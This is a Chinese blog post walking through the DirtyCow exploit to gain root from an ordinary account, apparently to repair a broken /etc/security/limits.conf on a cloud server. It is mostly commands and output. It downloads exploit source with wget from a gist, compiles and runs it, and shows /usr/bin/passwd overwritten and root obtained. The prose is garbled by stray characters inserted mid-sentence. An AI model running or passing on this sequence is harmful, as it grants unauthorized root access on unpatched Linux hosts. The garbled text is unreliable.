Why
開發(fā)同學在線上一臺公有云的機器上調(diào)試系統(tǒng)環(huán)境的時候腕巡,把 /etc/security/limits.conf 給改壞了砂碉,這是第二次改壞這個文件了恋谭,具體怎么改壞的弥虐,為什么改壞了會導致不能登錄我單獨來說(先挖坑)话浇,我這里只講現(xiàn)象脏毯,這一次改壞的情況還好,只影響 root 用戶幔崖,普通用戶還能登錄食店。于是就想能不能用普通用戶本地提權成 root,再去修復文件 /etc/security/limits.conf
Howto
yum -y install wget gcc;
# 安裝必需軟件
su - nagios;
# 切換成普通用戶(nagios)
id;
# 測試用戶身份權限
系統(tǒng)輸出:
uid=500(nagios) gid=500(nagios) groups=500(nagios)
可以看出用戶 nagios 是普通用戶(uid 和 gid 都是 500)
cd /tmp;
# 危險動作在 /tmp 目錄下做比較好
wget \
https://gist.githubusercontent.com/KrE80r/42f8629577db95782d5e4f609f437a54/raw/71c902f55c09aa8ced351690e1e627363c231b45/c0w.c;
# 獲取 exploit code
gcc -pthread c0w.c -o c0w;
# 編譯之
./c0w;
# 執(zhí)行(exploit code)
系統(tǒng)輸出:
(___)
(o o)_____/
@@ ` \
\ ____, //usr/bin/passwd
// //
^^ ^^
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap 9c9bf000madvise 0
ptrace 0
再執(zhí)行:
/usr/bin/passwd;
whoami;id;
系統(tǒng)提示:
root
uid=0(root) gid=500(nagios) groups=0(root),500(nagios)
由此可以看出用戶已經(jīng)變成 root(uid 為 0)赏寇,主組還是 nagios吉嫩,但同時也已經(jīng)是 root 組成員
最后,記得把 /tmp/bak 恢復回去成 /usr/bin/passwd
mv /tmp/bak /usr/bin/passwd;
chmod 4755 /usr/bin/passwd;
chown root:root /usr/bin/passwd;